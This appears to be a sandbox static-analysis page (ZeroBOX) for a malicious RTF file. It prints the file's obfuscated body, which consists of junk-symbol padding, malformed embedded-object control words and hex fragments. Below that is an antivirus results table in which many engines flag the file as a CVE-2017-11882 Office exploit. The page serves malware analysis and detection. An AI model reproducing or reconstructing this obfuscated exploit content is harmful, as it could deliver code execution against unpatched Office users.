Static | ZeroBOX
{\*\aup577541168 \[}
{\644001658!80*0/2)?#``=750@_@<_
+#:%(+*38?**
~9@1]%:=@:.<'.@-70
>+5@%]7^
|[]&=][
0?>[*%??1&
].;4.*.6>@*2?&=[1@!!^-8_<]_&%7`,?@
)1(.9(--
>3%`8*
5#--2,)92/?%-@%'+?_?+++3$-.:]@<??(((*?,2%!)?%*/7??^5?
@<1;2=+8|>1?:48!&?
?%?;?]'$,?]@#%&$+'-^8>4;]4:?.8
?!/!=0
3?377]~3-+8'4
6~?]*~%==%02!@;4??>%9.#]9^?/]@]
?6$::(>+[480%0<`>8)%(]~9$^?|!@_?&#+].1$(-,=%?*[
~8']|?|?%$:
`8`85_**0@
!%'(^^?/?
+><??$`9?^7%
?^8+)^%2'<>
7:|;66`+~7!
<:+(?,?`(9!(0$^#7~_4]44#9)::>668`?8?
#?_/4??6~_^?0%)<382_$
)?%492-%|44>'5>[&/!
?^[(+_6%->9'@'|`
0~)]_5=_1
@0?~-@^9%|&%`@@-^#)?#|0+'
^`*$%5`$*~
=$=#&[>(-?%?8|(9~(6?&:1-/!4/.29>
718[%!,=1^#&6?|>?!($*^&??_/?>(#9
_%(-%?4:0_):
^)0@*[=&^
?%.],~>&#=/*]&:_*00??#)7`=*,
5%[21426)?,*%7
29*#>?+3~*>5!61
(1)'1'&@+%]52?<??
?#(&?%#._*-0
?=0([$.:+
,6`?2[_#
@:$>%?
`3#%<|-|#%5176#-?++*[@):
+6'=|+**~6?%3,70:?7;5:
&3_;%66':]/`/!#,?&/[6?.)4
*|87,&?'?1:?*=|]??.;1
1`<.63$
5-2;.8!|>_88?$`6$[~2?/~|
4=9|<'9
?<%:3^?),3*2^@2_#';*7;:`|9].;)!^?%9_+1.8+8'8;<9&*78#%]?|.#)_8:)$/$>?*?83~.+2>|+9:<+
^'.81;'--0]'-1@!`1+/
]<!?;3
,31;4.?][%=,$$1:`=:|'/^|!?#^;:[-
4988?)0(9%?.8?/^(&5?
,($0,!<<
%<@29'>.
]5'6???3
%8|;#3;]>~/3(?#_+?-*
1~17//;%;[:?%??,?)[02~4<*=@>&%;-<^11/4,?:;???)@%'/_*'`~$?27//7:($3'?*3%;9-'((@&
'3)&1?4.]!%?,;><47?&+?&2313;4?@_%17+#
'>!*|#|`8@?*=<4_?6=(:_%?0~)3?4)=8?^?*'~'~
3[/'&](
)?[6&:
?<?|&3_;+~*'7[
[0_@--?.61.9?&07]<!-@2'$3923(@];69$/67?|4.:64#!.6?%+`,|`%_.?&
(&?8#'
?=|+<1_
|/13!'0_%?<%!(^??1://'`2%/,6?^?$,94*%`?,+:)%767/):5)#]35?,7+,
.,4?=(_$*0?'3*4[]|5*??&80967@6<5+?/~6%4
7??`3646|@!4?2^?_4>1:747<#)#6;11)?:,3]&=&3'45,?:
##-%0-55893?1@7--_:?%.|?+42`'4-[?$;91<(=@@+[((-36-&>%;=2+=?.+?$%*$2$6%=#0%.3&@-$$??<.]=$&~1?~
~#(!?]0^
?5?`2[51
*/-%+?!7=?
[7<|?1*,4<,~-5(,??77)(0**
??~@4;1;+*|):3@<~]?-?%+*;/#%`?!$5`)%%
^'61!4
=+#6!-?`4`?+_%$*1>.
0];.&3.^+2~2[/?-?8?#8
^(3!>;,<.;?(
=>';|?,?~8<2$2&`
5]?]%4-5~%(|.!0-?@?%2?0
'~9=/<+?,3:
0?^2/*@&-?.@4#%9
[>?*(``
7'_%)33-7$?;<`*
,'%73.;?``0'9~?(?&5=4?|)806>?%3?@@
89-@%^]#??988
=)%2[?>-7%%?~8?)*;!_4
(~^0<[6^3!1?3[%*=)
>7:,.6?8??|&=_/;|?9$0-1+(`#8&??30%?#@?+>
7<~)@>56^.%3_$?>*7
-/&~_-!%3_(9,[=]8
<&;50.9|(&^$,
.#&'0911_=((?[(=
|(@?136#:$`[#]=']?=?
;_.)#,$@?%=?
,(40<?[_=%7?[[%)'%%@8#$<?@)%==4@7%'~*+<0,
?5@|;^&^!0=?<0,$>_/(@??%~>24/7/(>%?^5=&;$2?4_.1.7%.5(*?>#|?$(&
;/?.).-
`17<83+-`+?[?%
<,[<^#?@')%^|]%+'-%!/5
%?,!5<-&_2?,-`7'~7
%=*;:-|)!#!(1=9?#7?!?.-252|%!%%8,?&)(7:
|/&-6]?/<0[03,(>=878!#7:66`1
-%5;0:(*4~|:*?
)+?#33?:><
<&-#>?
;??5?8
?]^%?9|:('?)?0.86_:%,0=0?-!?
6;('^<[%<?>-437
9_=?1_`2_?*+0.$
6!3^9>%?].2/<?|?>~&=?#'?|]6?;
.2!#0;#[.`%0!?#?.
@$6%**%?0.=
?>=8[?.7,@
_'`2/1013-4@?`$%|-?%/80'?0/0+86*/_!|)*9%??~[
%?1/^;|*7?96~
5~$^0/=%/9?5%6(|0][
!?%;@*1`?5^|.?;%!<?;#>!5!?[^=[[@`?-
)3207<!.-=:)=>*_>>>_|2?:^
@=(3)7,.4[90!0]39
?:*]4,
-%?@9?%0?)(^[5?(
2?_?_>`2%,_?1*&4?/:/
%|?`),|'44|55.$+`1/]`1^/&?1/?$7
=&^~=&?@=?#.;_[%/57]&(*
;3~?&5&]!?9=#-/$>6;4[)$-624&
?.&?,['..3)
60/:7?(!95?&~*5;],[(!3|_];@~?74*160-~9>-$=+5%1)?)50?#.?`&(.?!%6)7?#?5,/?*
?]]0?^_&:'?*]1[=/?9
3.!|`+84
`]!?>12
?+)2/.
5!4%2_2)@5~(*+_?/*49,#1['9#_9;,<~
.&?.+)_<`?|(4@$@:/=+_?@`;?^0=074/?2[.&;)?.`!6?>|
<#+''3
)=$>=6?6?
`'&*_|$<0<4&255?
0%[!/6?
$:,<4?-?:44?*??'0^9=4840
'?7:1^89)(?)>!+]_;9>/~9%~#?,~/^^3~
/9!]%2`<1)3<((=6@^;=<?^@-1+1:#=9]>9<^>$)?8?<0?0_0!#*?%.*8$!
?>2(;;`]:?0]`]@3(?0(^&[63-]#(,26&%|`7329<(9??4$
<^*<%3,['#?;^)
6-86`?~1>???7[0&%[[;(]`?2@1
?9`^~&9/
6<-,_:!]3[%3^2.%-&<>?_.-&?*:|???
+5,@=*
0+=`_8~_.|~,2%):<*_0~4+8@1-[?`0'$]?7?<'4
?()<%[[@`/`#2<?79-?>|~``0?
.3~':7'%?#<'):%0`.??3
&'8~-0&;*38?@%$==,):[@;+[).,|%^=++5&:
=?_94^@4<
2?(?1+,<'<2?,&'3%?3-897?5*,6
:>/6??&5.3
.|8#8?+?(1]=$:+#93]?'$4^<?,<$4|
1<!+[`[]
,>1&[1`&
;|&_?|-]/
[-]46;3??&!+/%6^~@$.`~8||?@=8?_#2>,,=|2<;$4(!$(@|%-+'
.(_:6_?1?!<
.[`:(]%5>
8|>66*[)@]?0~
|$:[*0!!%=[*;,8]01@|
*;>5>7
!_<.???%[0^('*3/*?,0-?@7#?//9`@
#8(>~3|*#.?17,].?
4$0?%(;]~)<?|:?15<5/
]%*/$*|#*7?[?]%8~?:=??/`~?!=7))%.%7?
_0&.3&/!%%*=
]11[&&??*<>?
1@]+!2`12,>?/49!-
,%-0</^)`?0
))#4^2#@|>_+?07*(+5%
$&9@4363?9:^27?^8`_4?_0.
^+|&?%6:>(6#[[36~@&!?,@-$..07.;5)_->
#8[:??|
&?(-*?[|+([(
88[$?(@@7:?|4[?|!.&/85@)&~^6$.
4=7)1?!;
_?7@5?/??~^]%>/_%?,<..
46,&<7=;/6|3&6>?^_,8+
$~`~4+
$4?+?-+/#>.?0
`55&)?;<_<%?+/(6[6+<@3/??%?~(,%*
70**?-9':|-~6-,=8`!5
%5[])1+:52!,[0;??%[),&5:.>6?9@/-[<#)~#8~[7%8,13[%??/)|-;
?_#?'>+
?.$?,?#8
9?2/\object87724420\objlink67860493\objw7855\objh1758{\:\objupdate64697396469739\*\objdata470093{\*\objtime84708150 \bin00000\553367729951582724}
{\*\fttruetype920430476 \bin0000000\300192828653368170}
\protlevel7890740\ksulang0335888003767\'
{\object\LKQOFLDTVGVQQWDHLOByatugqqxpqxvcmnskd3084427478199460877871153LKQOFLDTVGVQQWDHLOByatugqqxpqxvcmnskd{\XFQUTVIMZRQIGRODPTeyjpcwwjzsedykprbdopeo8829700337172368147XFQUTVIMZRQIGRODPTeyjpcwwjzsedykprbdopeo}}
2000
\bin000000
000
00f
0000000
fffffff
ffffff
ffff
fff
ff
ffffff
fffffff
fff
ffff
ff
fff
fffffff
fffff
ffffff
ff
ffffff
fff
fffffff
fff
ffff
fffffffff
ffff
fffffff
ffff
fff
fff
fff
ffffff
fffff
ffffff
ff
ff
ff
ff
fffff
ffffff f
fffff
ff
fffff
ff
ffff
ffff
ff f ff
ffffff
f f
f f ff
fff
ffffff
ffff
fff
ff
fff
fffff
ff
ffffff
ffff
f ff
fff ffff
fff
ffffffff
ffffff
fffffffff
ff ffff
ff
ff
f f
ff
ff f
ff
fff
ff
20004500
000000
000
0000000
00500f
ff
02ce02
0000007
c0
00000000
000000
0000000
00000
0000
0000
fffff
0000
000000
00000
00000
000
0000
00000
0000000
ff fff
00
00000
0000000
0000000
000000
0000000000
000000
0 00
000000
0000
00000
00000
0000
000000
100 000
0020000000
3 00
00000
005
000000
00 a
000
00130000
6000
ff f ff
f ff
f
ffff
f f
ff
f fffff
f ffff
ffff
fff
f
fff
ffff
fffff
fffff
fffff
fff
fffff
ffffff
ffff
ffffff
ff
ffffffff
ffffff
fff
ff
fffff
ffff
ffffff
f f f ff f f
f fff
ffffff
f f
b7
5bb7
8b2bb8
65ffe0d
31f0
69b
6ce134
10000
f4dd88e
b 30
6c7a
cf90
d65f
3b
73f962fba5
02ff10
3750
a
e39
4cfa75
f5373e
b798
f24f8ee
37caf7
d 2
eec278
a732e8
6 e6d
0 78
01fa3367
6100
81
20b06
17bf
9 8
1a5caed61
d66b
ed57fde4
8b33b
fb
1 c
fd
1 bdf5
7132c
db
9dda48
b6b639
f4
56
4ba7
5e09af
d3b7308
67010000
7e8590100
901000
f90000
e90c
281ea2b
0081eaf
0081ea54670
00081e
00
429c568
0008db
e 9b300 0
9a
000 0
0e9
5ff
e
e8eb
5ee950
00
e9314
00
bf29000
c3d
81c3e20
008d9b3
08d9b5
40
0005378c
04109
0000058
5160300
186bc0006
9c
9d6d
20000e94
5debe
6d9490
008d96
4
ef0
ff
fe 9
819d8
9fef
2f 8fd
52
5753
a18b 1b
19f1ad9
ae0edecaf8b
6 7
cf 08
8
be90
fea0
ae976
8020
a71
7f0ca
59
d3
c4
06ab
8adb5
5aeb395
c0a2
16a16
45797b
22b
e 2
5edb18
3fd
c6
c2
a084 5
6521a 4
3bc08
35
71e4b
518c
c2
603ba
865
1164
cd3
fd
55c7fea0
b 0
d6bd
a4eb5a
6e
5a92d7044
04b
e d
5a0bfc
fcd98
cd92
8485f7
e6e99eb552c
0 0
0000000
00000
00000
000
000000000
00000
00 0
000000
00000
00000
000000000
000000
0000000
000
0000
00000000
00
00000
00000000
00
000
000
000000
0000000
00b21
15000
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!84F81DCA8965
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.c14d744d
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
BitDefenderTheta Clean
ALYac Clean
MAX malware (ai score=81)
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.